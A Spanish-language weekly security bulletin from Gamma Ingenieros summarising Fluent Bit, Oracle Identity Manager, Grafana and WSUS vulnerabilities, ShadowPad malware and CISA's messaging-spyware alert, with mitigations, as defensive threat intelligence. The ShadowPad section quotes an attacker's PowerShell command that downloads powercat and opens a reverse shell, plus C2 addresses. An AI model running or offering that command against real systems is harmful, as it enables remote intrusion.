GammaCSOC-CERT
By Gamma Ingenieros

GAMMA INGENIEROS

Boletín de Ciberseguridad Semanal

Edición °4825

BOLETÍN DE CIBERSEGURIDAD SEMANAL

Bienvenido a su boletín semanal de ciberseguridad generado por Gamma Ingenieros. A través de esta publicación tenemos el propósito de compartir contenidos relevantes para nuestras operaciones y aliados de negocio.

Aquí encontrará información sobre vulnerabilidades, alertas tempranas, noticias del sector, incidentes de ciberseguridad, tecnologías y servicios relacionados, entre otros.

VISTA RÁPIDA

	CRÍTICO	URGENTE	IMPORTANTE
VULNERABILIDADES	2	1	0
MALWARE	1	0	0
NOTICIAS DE CIBERSEGURIDAD	0	1	0

VULNERABILIDADES

FLUENT BIT — CADENA DE 5 VULNERABILIDADES PERMITE RCE, BYPASS DE AUTENTICACIÓN Y TOMA DE CONTROL DE INFRAESTRUCTURA CLOUD

Se identificó una cadena de cinco vulnerabilidades críticas en Fluent Bit, el agente de telemetría ampliamente utilizado en entornos cloud y Kubernetes para recolectar y procesar logs, métricas y trazas. Estas fallas, presentes en versiones anteriores a 4.1.1 / 4.0.12, pueden ser encadenadas para permitir ejecución remota de código, manipulación de datos, bypass de autenticación y control total del servicio de logging, afectando directamente la integridad de infraestructuras cloud de gran escala.

Resumen técnico:

- Identificadas cinco vulnerabilidades:
- CVE-2025-12972 (Crítica) — Path Traversal en el plugin file output, donde etiquetas no sanitizadas permiten escribir/ sobrescribir archivos arbitrarios y derivar en RCE.
- CVE-2025-12970 (Alta) — Stack buffer overflow en in_docker que permite a un atacante ejecutar código o generar DoS mediante nombres de contenedor extremadamente largos.
- CVE-2025-12978 (Media) — Comparación parcial de Tag_Key, permite suplantar etiquetas confiables adivinando únicamente el primer carácter, habilitando desvío de logs y filtrado bypass.
- CVE-2025-12977 (Media) — Falta de validación en tag_key permite inserción de caracteres de control, saltos de línea y cadenas traversal, corrompiendo logs y posibilitando ataques en outputs.
- CVE-2025-12969 (Media) — in_forward deshabilita silenciosamente autenticación cuando se configura Security.Users sin Shared_Key, permitiendo envío no autorizado de logs o inyección de telemetría falsa.
- Configuraciones afectadas incluyen entornos con entradas HTTP, Splunk, Elasticsearch y Forward, especialmente cuando las etiquetas derivan de campos controlados por el usuario.
- AWS confirmó mitigaciones internas y recomienda actualizar a las versiones corregidas inmediatamente.
- Vulnerabilidades activas desde hace años: CVE-2025-12972 presente desde hace ~8 años.

Impacto potencial:

- Ejecución remota de código en nodos que ejecutan Fluent Bit.
- Manipulación o corrupción de logs (incluyendo inserción, eliminación o suplantación de eventos).
- Ocultamiento de actividad maliciosa y falsificación de telemetría.
- DoS del agente de logging y fallos en observabilidad en Kubernetes y cloud.
- Movimiento lateral desde la instancia comprometida hacia otros servicios.
- Riesgo masivo debido a la adopción global del agente (15B+ despliegues, presente en AWS, GCP, Azure, OpenAI, bancos y AI labs).

Recomendaciones de mitigación:

1. Actualizar inmediatamente a Fluent Bit 4.1.1 / 4.0.12.
2. Evitar el uso de etiquetas dinámicas; preferir tags estáticos y controlados.
3. Definir explícitamente los parámetros File y Path en outputs para evitar generación dinámica de nombres.
4. Forzar configuraciones read-only para directorios /fluent-bit/etc/ y archivos de configuración.
5. Ejecutar Fluent Bit como usuario no privilegiado y restringir acceso al filesystem del host.
6. Revisar configuraciones de in_forward: usar Shared_Key junto con Security.Users.
7. Monitorear actividad anómala en pipelines de logs y revisar rutas de escritura inusuales.

Prioridad: Crítica.

Ampliar información:

- https://www.incibe.es/incibe-cert/alerta-temprana/avisos/multiples-vulnerabilidades-en-fluent-bit
- https://www.theregister.com/2025/11/24/fluent_bit_cves/

- https://thehackernews.com/2025/11/new-fluent-bit-flaws-expose-cloud-to.html
- https://www.oligo.security/blog/critical-vulnerabilities-in-fluent-bit-expose-cloud-environments-to-remote-takeover
- https://www.securityweek.com/fluent-bit-vulnerabilities-expose-cloud-services-to-takeover/

ORACLE IDENTITY MANAGER — VULNERABILIDAD CRÍTICA PRE-AUTH RCE (CVE-2025-61757) BAJO EXPLOTACIÓN ACTIVA

Se ha identificado y confirmado la explotación activa de una vulnerabilidad crítica en Oracle Identity Manager (OIM), componente de Oracle Fusion Middleware, que permite ejecución remota de código sin autenticación mediante un bypass del filtro de seguridad responsable de proteger múltiples API internas. La falla, catalogada como CVE-2025-61757 (CVSS 9.8), afecta las versiones 12.2.1.4.0 y 14.1.2.1.0, y fue corregida por Oracle en el ciclo de parches de octubre. CISA añadió la vulnerabilidad a su catálogo KEV, indicando explotación confirmada en entornos reales.

Resumen técnico:

- La vulnerabilidad deriva de un bypass de autenticación en el filtro SecurityFilter mediante: el parámetro ?WSDL, o Uso de matrix parameters como ;.wadl al final de cualquier URI.
- Este bypass permite acceder sin autenticación a múltiples REST Management APIs, incluyendo rutas de administración sensibles.
- Los investigadores demostraron que, una vez superado el filtro, es posible invocar el endpoint: /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus que compila código Groovy enviado por el atacante.

- Aunque el endpoint no ejecuta el código compilado, es viable lograr RCE en tiempo de compilación mediante annotation processors de Groovy/Java, que sí se evalúan en la etapa de análisis semántico.
- Se observó actividad maliciosa previa al parche (zero-day exploitation), incluyendo: Scans entre agosto y septiembre buscando específicamente groovyscriptstatus;.wadl y Múltiples direcciones IP realizando POST con payloads sospechosos.
- El incidente está relacionado con el compromiso previo de Oracle Cloud (enero 2025), donde se explotó otra falla (CVE-2021-35587).

Impacto potencial:

- Compromiso total del servidor OIM con ejecución remota bajo contexto del servicio.
- Manipulación de flujos de autenticación y elevación de privilegios en entornos corporativos.
- Exposición completa de identidades, credenciales y procesos IAM.
- Movimiento lateral hacia Oracle Access Manager (OAM) y otros componentes Fusion Middleware.
- Riesgo crítico para organizaciones con OIM accesible desde Internet o redes planas.

Recomendaciones de mitigación:

1. Aplicar inmediatamente el parche de Oracle (boletín octubre 2025) para versiones afectadas.
2. Restringir exposición de OIM: Filtrar acceso externo a /iam/governance/* e implementar segmentación de red para componentes IAM.
3. Revisar logs en busca de: Accesos con sufijos ;.wadl o parámetros ?WSDL, llamadas no autorizadas al endpoint groovyscriptstatus y payloads POST con contenido Groovy / annotation processors.
4. Habilitar controles de WAF o reverse proxy para bloquear rutas con matrix parameters.
5. Verificar integridad del servidor y del sistema IAM ante posibles compromisos previos al parche.

Prioridad: Crítica.

Ampliar información:

- https://ciberseguridadegalicia.gal/es/ciberseguridad-al-dia/alertas/vulnerabilidad-critica-en-oracle-identity-manager-cve-2025-61757
- https://www.darkreading.com/vulnerabilities-threats/critical-flaw-oracle-identity-manager-under-exploitation
- https://thehackernews.com/2025/11/cisa-warns-of-actively-exploited.html
- https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/

GRAFANA ENTERPRISE — VULNERABILIDAD CRÍTICA (CVE-2025-41115) PERMITE IMPERSONACIÓN Y ESCALADA DE PRIVILEGIOS (CVSS 10.0)

Grafana Labs publicó una actualización de seguridad para corregir una vulnerabilidad crítica en el componente SCIM (System for Cross-domain Identity Management) de Grafana Enterprise 12.x, que permite a un cliente SCIM malicioso crear usuarios con identificadores numéricos que sobrescriben IDs internos y derivan en impersonación de cuentas o escalada de privilegios, incluyendo la cuenta Admin. El fallo está catalogado como CVE-2025-41115 con puntuación CVSS 10.0, y afecta las versiones 12.0.0 a 12.2.1 cuando SCIM está habilitado y configurado.

Resumen técnico:

- Vulnerabilidad en la gestión de identidad del SCIM provisioning:
- Un cliente SCIM puede enviar un externalId numérico (por ejemplo, "1").
- Grafana mapea externalId directamente a user.uid, lo que puede sobrescribir IDs internos existentes.
- Este comportamiento permite que un usuario recién provisionado sea tratado como un usuario interno privilegiado.
- Condiciones necesarias para ser vulnerable: enableSCIM = true y user_sync_enabled = true en [auth.scim]
- Alcance limitado a Grafana Enterprise 12.0.0–12.2.1; Grafana OSS no está afectado.
- Vulnerabilidad descubierta durante auditoría interna (noviembre 2025).
- Parches disponibles: 12.0.6+security-01, 12.1.3+security-01, 12.2.1+security-01 y 12.3.0 (con fix)

Impacto potencial:

- Impersonación de cuentas internas, incluida la cuenta Administrador.
- Escalada de privilegios inmediata sin interacción del usuario.

- Compromiso total de la plataforma de observabilidad y acceso a dashboards, datos, alertas y configuración interna.
- Riesgo elevado en entornos con SCIM integrado a IdPs corporativos o automatización de onboarding/offboarding.
- Impacto potencial en Grafana Cloud mitigado previamente (parches aplicados por el proveedor).

Recomendaciones de mitigación:

1. Actualizar inmediatamente a versiones corregidas: 12.0.6+sec-01 / 12.1.3+sec-01 / 12.2.1+sec-01 / 12.3.0.
2. Validar estado de configuración: Revisar si enableSCIM y user_sync_enabled están activos y Deshabilitar SCIM temporalmente si no es estrictamente necesario.
3. Auditar usuarios provisionados recientemente (IDs numéricos sospechosos).
4. Revisar registros SCIM para detectar actividad anómala o intentos de provisión no autorizados.
5. Asegurar que las instancias administradas (AWS Managed Grafana / Azure Managed Grafana) ya reflejan los parches del proveedor.

Prioridad: Urgente.

Ampliar información:

- https://nvd.nist.gov/vuln/detail/CVE-2025-41115
- https://thehackernews.com/2025/11/grafana-patches-cvss-100-scim-flaw.html
- https://socprime.com/blog/cve-2025-41115-vulnerability/
- https://grafana.com/blog/2025/11/19/grafana-enterprise-security-update-critical-severity-security-fix-for-cve-2025-41115/

MALWARE

SHADOWPAD — APT CHINO EXPLOTA VULNERABILIDAD CRÍTICA EN WSUS (CVE-2025-59287) PARA RCE Y DESPLIEGUE DE BACKDOOR

Se confirmó la explotación activa de CVE-2025-59287, una vulnerabilidad crítica de ejecución remota de código (RCE) en Windows Server Update Services (WSUS), utilizada por actores vinculados a APT chinos para distribuir el backdoor ShadowPad. Tras la liberación pública del PoC, múltiples grupos comenzaron a aprovechar la falla para obtener acceso inicial, ejecutar comandos con privilegios SYSTEM y desplegar cargas maliciosas mediante herramientas legítimas de Windows. La actividad ha sido validada por AhnLab, The Hacker News y Security Affairs, y CISA añadió la vulnerabilidad al catálogo KEV por explotación confirmada.

Resumen técnico:

- CVE-2025-59287: vulnerabilidad crítica en WSUS que permite deserialización insegura → RCE con privilegios SYSTEM.
- La explotación inicia con ejecución remota de PowerCat para obtener una shell CMD: powershell -c IEX (New-ObjectSystem.Net.WebClient).DownloadString('powercat.ps1'); powercat -c [IP] -p 8080 -e cmd
- Fase de instalación: Uso de curl.exe y certutil.exe para descargar, decodificar e implantar ShadowPad desde infraestructura remota y descargas observadas desde 149.28.78[.]189:42306 hacia rutas temporales de usuario.
- Carga de ShadowPad mediante DLL sideloading: EXE legítimo: ETDCtrlHelper.exe, DLL maliciosa: ETDApix.dll (loader en memoria) y Archivo .tmp conteniendo la configuración del backdoor.
- Configuración del implante observada: Mutex / Servicio / Persistencia: Q-X64, Tareas programadas bajo rutas legítimas (Microsoft\Windows\UPnP), Inyección en

procesos Windows (svchost.exe, WinMail, WMP), C2: 163.61.102[.]245:443 (HTTP/HTTPS) y User-Agent y cabeceras diseñadas para evadir detección.

- Actividad reciente también incluye: Reconocimiento y ejecución de herramientas legítimas (Velociraptor y Campañas masivas tras la publicación del PoC el 22 de octubre.

Impacto potencial:

- Compromiso total del servidor WSUS con privilegios de sistema.
- Distribución de malware a través del mecanismo nativo de actualizaciones.
- Persistencia oculta mediante servicios, registro y tareas programadas.
- Inyección en procesos críticos para evadir detección y obtener mayor sigilo.
- Riesgo elevado en entornos corporativos donde WSUS es accesible desde Internet o redes des segmentadas.
- Potencial abuso para movimiento lateral y propagación de cargas posteriores.

Recomendaciones de mitigación:

1. Aplicar de inmediato el parche de Microsoft para CVE-2025-59287 (actualización fuera de banda).
2. Limitar la exposición de WSUS: Permitir acceso únicamente desde servidores de Microsoft Update y Restringir inbound en puertos 8530 / 8531 a fuentes autorizadas.
3. Revisar indicadores de compromiso: Ejecución de PowerCat, certutil.exe, curl.exe, accesos inesperados al servicio WSUS tras el 22 de octubre y descargas desde IPs sospechosas y patrones de conexión anómalos.
4. Validar integridad de EXE/DLL relacionados con ETDCtrlHelper.exe y ETDApix.dll.
5. Activar alertas de EDR/IDS para: Sideloading DLL, persistencia en Run Keys, creación de tareas programadas.
6. Segmentar WSUS y aplicar principio de mínimo privilegio en servidores de actualización.

Prioridad: Crítico.

Ampliar información:

- https://www.scworld.com/brief/cybersecurity-impact-of-exploited-wsus-flaw-cve-2025-59287-and-shadowpad-malware-deployment
- https://thehackernews.com/2025/11/shadowpad-malware-actively-exploits.html
- https://asec.ahnlab.com/en/91166/

Recomendaciones generales sobre malware:

1. Actualizar el software y sistemas operativos regularmente, ya que los atacantes suelen explotar vulnerabilidades en software desactualizado.
2. Usar antivirus y herramientas antimalware confiables, manteniéndolos siempre al día.
3. Habilitar la autenticación multifactor (MFA) para proteger cuentas sensibles.
4. Evitar correos electrónicos y enlaces sospechosos, ya que el phishing es una de las principales vías de propagación de malware.
5. Realizar copias de seguridad regulares de archivos importantes para protegerse contra pérdidas en caso de ataques como el ransomware.
6. Limitar los privilegios de usuario, evitando el uso innecesario de cuentas con permisos de administrador.

NOTICIAS DE CIBERSEGURIDAD

CISA — ALERTA POR CAMPAÑAS ACTIVAS QUE ROBAN CUENTAS DE WHATSAPP Y SIGNAL MEDIANTE SPYWARE Y RATs

La Agencia de Ciberseguridad e Infraestructura de EE. UU. (CISA) emitió una alerta advirtiendo sobre múltiples campañas activas que emplean spyware comercial, troyanos de acceso remoto (RATs) y exploits zero-click para comprometer usuarios de WhatsApp, Signal y otras aplicaciones de mensajería. Las operaciones, vinculadas a actores con alta capacidad técnica, combinan ingeniería social, spoofing de aplicaciones y explotación de vulnerabilidades para secuestrar cuentas y obtener acceso persistente a dispositivos móviles. Los ataques se han dirigido especialmente a usuarios de alto valor, incluyendo funcionarios gubernamentales, diplomáticos, militares y miembros de organizaciones civiles en EE. UU., Europa y Oriente Medio.

Resumen técnico:

- Las campañas identificadas emplean:
- Vinculación maliciosa de dispositivos mediante QR codes para secuestrar sesiones de WhatsApp/Signal.
- Zero-click exploits que comprometen dispositivos iOS/Android sin interacción del usuario.
- Aplicaciones falsificadas que imitan Signal, WhatsApp, ToTok, Google Photos, TikTok o YouTube para distribuir spyware.
- Se han observado campañas específicas:
- ProSpy y ToSpy (spyware Android) — capturan mensajes, activan cámara/micrófono, interceptan SMS y roban credenciales.
- ClayRat — distribuido vía canales Telegram y páginas falsas; roba datos y controla el dispositivo.

- Explotación de vulnerabilidades: CVE-2025-43300 (WhatsApp/iOS), CVE-2025-55177 (WhatsApp/iOS) y CVE-2025-21042 (Samsung) usado para desplegar spyware LANDFALL.
- Tácticas adicionales:
- Ingeniería social para instalar APKs maliciosas.
- Secuestro de sesiones a través de la función de dispositivos vinculados.
- Uso de RATs para persistencia y despliegue de payloads adicionales.

Impacto potencial:

- Secuestro total de cuentas de WhatsApp y Signal, incluyendo lectura y envío de mensajes.
- Acceso persistente al dispositivo móvil, permitiendo: Grabación ambiental, Keylogging y acceso a galería, ubicación, contactos y archivos.
- Exfiltración de comunicaciones cifradas después del descifrado en pantalla.
- Compromiso de información crítica para usuarios de alto valor (gobierno, política, diplomacia).
- Riesgo global debido a la distribución en múltiples regiones y la facilidad para falsificar apps de mensajería.

Recomendaciones para mitigar el riesgo:

1. Utilizar comunicaciones cifradas E2EE reales y habilitar autenticación resistente a phishing (FIDO).
2. Evitar MFA basada en SMS y usar aplicaciones autenticadoras o claves de hardware.
3. Mantener sistemas y apps actualizados (iOS 18.6.2 o superior para WhatsApp).
4. Activar medidas avanzadas: Lockdown Mode en iPhone, iCloud Private Relay, Google Play Protect activo en Android y enhanced Protection en Chrome.
5. Evitar el uso de VPN personales (CISA indica que degradan protecciones nativas del sistema).

6. Usar password managers y establecer PIN del proveedor móvil para evitar secuestro de línea.
7. Auditar permisos de aplicaciones, desinstalar apps no verificadas y evitar instalación desde fuentes externas.
8. Para perfiles de alto riesgo: optar por dispositivos con fuerte historial de actualizaciones y hardware reciente del fabricante.

Prioridad: Urgente.

Ampliar Información:

- https://computerhoy.20minutos.es/ciberseguridad/este-es-nuevo-malware-android-que-lee-tus-mensajes-whatsapp-incluso-aunque-esten-cifrados_6900735_0.html
- https://www.escudodigital.com/ciberseguridad/whatsapp-signal-ataques-spyware-troyanos-acceso-remoto.html
- https://www.cisa.gov/news-events/alerts/2025/11/24/spyware-allows-cyber-threat-actors-target-users-messaging-applications
- https://www.redeszone.net/noticias/seguridad/cisa-alerta-campanas-activas-robar-whatsapp/
- https://thehackernews.com/2025/11/cisa-warns-of-active-spyware-campaigns.html